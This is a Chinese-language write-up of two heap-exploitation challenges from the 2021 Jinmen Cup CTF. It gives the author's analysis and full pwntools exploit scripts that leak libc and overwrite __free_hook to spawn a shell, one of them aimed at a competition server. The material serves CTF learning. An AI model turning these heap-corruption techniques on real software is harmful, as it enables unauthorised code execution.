0%

津门杯-2021

只出了两个常规 linux 堆 pwn。看了一下 jerry,搜了一下 CVE,束手无策。其它题都没时间做了。算是认识到了自己的短板吧。

最后一秒的 pwn 题:

easypwn

签到题、libc-2.23

功能齐全、漏洞有 UAF、off-by-one 和 bss 段上的溢出(可以溢出到指向 chunk 的指针)。

其它

题目没给 libc(所有的 pwn 题都没给。。。)。我触发了堆上的一个错误,错误信息里有 __libc_start_main 的地址,然后在 libc.rip 上找到了 libc,用 glibc-all-in-one 下载有 debug symbol 的 libc 和 ld。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

libc = ELF("./libc6_2.23-0ubuntu11.2_amd64.so")
#io = process("./hello")
io = remote("119.3.81.43", 49153)

def add(phone, name, size, content):
io.sendafter("your choice>>", '1')
io.sendlineafter("phone number:", phone)
io.sendlineafter("name:", name)
io.sendlineafter("input des size:", str(size))
io.sendafter("des info:", content)

def delete(idx):
io.sendafter("your choice>>", '2')
io.sendlineafter("input index:", str(idx))

def show(idx):
io.sendafter("your choice>>", '3')
io.sendlineafter("input index:", str(idx))

def edit(idx, phone, name, content):
io.sendafter("your choice>>", '4')
io.sendlineafter("input index:", str(idx))
io.sendlineafter("phone number:", phone)
io.sendlineafter("name:", name)
io.sendafter("des info:", content)

add("123", "jkl", 0x80, "aaaaaaaaaaa\n")
add("123", "jkl", 0x18, "/bin/sh\n")
delete(0)
add("123", "jkl", 0, "\x22")
show(2)
io.recvuntil("des:")
libc.address = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00')) - 0x3c4b22
print("libc.address = " + hex(libc.address))

edit(0, "123", b'a' * (0xd + 8 * 4) + p64(libc.symbols["__free_hook"]), "c")
edit(1, "123", "bbb", p64(libc.symbols["system"]))
delete(1)

add("123", "jkl", 0x18, "/bin/sh\x00\n")
delete(3)

io.interactive()

PwnCTFM

off-by-null,但由于 libc 版本为 2.27,引入了 tcache,chunk shrink 利用起来就有些麻烦(libc 里的检查忘得差不多了,搞了好久)。

保护

全开

分析

只有 add、delete 和 show 功能。

这里使用了基于栈的 VLA,memset 多了一字节。

strcpy 会拷贝字符串末尾的 ‘\x00’,造成 off-by-null 漏洞。

利用

off-by-null 可以转化为 unlink,或者可以伪造 pre_size 形成 overlap,又或转化为 chunk shrink。

然而本题有一个比较麻烦的限制。

限制

程序使用 strcpy 将数据拷贝到堆上,意味着数据中不能有 ‘\x00’。这样就不能伪造 pre_size 了(5 月 10 日:NU1L 的 exp 中的做法是,在覆盖 size 域后,多次 delete add 同一 chunk,同时 data 长度递减。这样利用了 strcpy 末尾的 ‘\x00’ 将其它字节清零,从而伪造出 pre_size。这种方法可以布置任意数据,学到了),此外 libc 地址的泄漏也变得比较麻烦。

chunk shrink

chunk shrink 可以转化为 overlap。我当时参考的是 Shrinking Free Chunks 上的图,通俗易懂。但 poc 比较老,不适合现在加了很多检查的 glibc 了(各种检查我都忘得差不多了,又被折磨了一次)。

chunk shrink 要对 unsorted bin 多次进行操作。本题限制了 chunk 的大小最大为 0x200,在 tcache 的范围内;而最多共存 chunk 指针数为 9。因此每次把 chunk 弄进 unsorted bin 就会比较繁琐(我的脑子转不过来,每次都要搞好久)。

其它

ubuntu glibc 2.27 有三个版本,其中 1.4 的加入了 tcache double free 的检测,1.2 的没有(1不知道)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

context.log_level = "debug"
libc = ELF("/home/jkilopu/Workspace/shellscript/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
io = process("./manager")
#io = remote("119.3.81.43", 49155)

def add(name, size, content, score):
io.sendafter("your choice>>", '1')
io.sendlineafter("topic name:", name)
io.sendlineafter("des size:", str(size))
io.sendafter("topic des:", content)
io.sendlineafter("topic score:", str(score))

def delete(idx):
io.sendafter("your choice>>", '2')
io.sendlineafter("index:", str(idx))

def show(idx):
io.sendafter("your choice>>", '3')
io.sendlineafter("index:", str(idx))

io.sendlineafter("input manager", "CTFM")
io.sendlineafter("input password", "123456")

add("jkl", 0x18, "aaaa", 0) # 0

for i in range(8):
add("jkl", 0x1a8, "cccccc", 0) # [1,8]
for i in range(8):
delete(8 - i)

add("jkl", 0xf8, "\x00", 0) # 1
for i in range(7):
add("jkl", 0xf8, "dddddd", 0) # [2,8]
for i in range(7):
delete(i + 2)

add("jkl", 0xa8, "\x00", 0) # 2
for i in range(7):
add("jkl", 0xa8, "dddddd", 0) # [3,9]
for i in range(7):
delete(i + 3)

# 伪造shrink后的size和presize(一般来说add时布置好fake的就行,但由于strcpy,这里只能用遗留的了)
delete(1)
delete(2)

delete(0)
add("jkl", 0x18, b'd' * 0x18, 0) # 0
delete(0)
add("jkl", 0x88, "\x00", 0) # 0
add("jkl", 0x68, "\x00", 0) # 1

for i in range(7):
add("jkl", 0x88, "\x00", 0) #[2, 8]
for i in range(7):
delete(8 - i)
delete(0)

add("jkl", 0x1a8, "\x00", 0) # 0
for i in range(7):
add("jkl", 0x1a8, "\x00", 0) # [1,7]
for i in range(7):
delete(8 - i)
delete(0)

delete(1)
add("jkl", 0x68, "\x00", 0) # 0

for i in range(7):
add("jkl", 0x88, "\x00", 0) # [1,7]
add("jkl", 0x88, "\x00", 0) # 8
add("jkl", 0x1f0, "\x00", 0) # 9

for i in range(1, 8):
delete(i)

for i in range(7):
add("jkl", 0x1f0, "\x00", 0) # [1,7]
for i in range(1, 8):
delete(8 - i)
delete(0)

show(9)
io.recvuntil("topic des:")
libc.address = u64(io.recvuntil("topic score", drop=True).ljust(8, b'\x00')) - 0x70 - libc.symbols["__malloc_hook"]
print("libc.address = " + hex(libc.address))

delete(8)
# victim的size太大了,修改为0x71
add("jkl", 0x1e8, b'd' * 0x10 * 8 + p64(0xdeadbeefdeadbeef) + p64(0x71), 0) # 0
delete(9)
delete(0)
add("jkl", 0x1e8, b'd' * 0x10 * 9 + p64(libc.symbols["__free_hook"]), 0) # 0

add("jkl", 0x68, p64(0xdeadbeef), 0) # 1
add("jkl", 0x68, p64(libc.symbols["system"]), 0) # 2
add("jkl", 0x68, "/bin/sh", 0) # 3

delete(3)

io.interactive()

总结

败在了两个方面

  1. 对 glibc heap 的流程和检查不够熟悉,花了很多时间。
  2. 新类型的题目(jerry)完全不懂。

之后一定要写一个较完善的各版本 glibc heap 流程、检查、利用方法之间的关系。(以前还觉得没啥必要)慢慢写吧。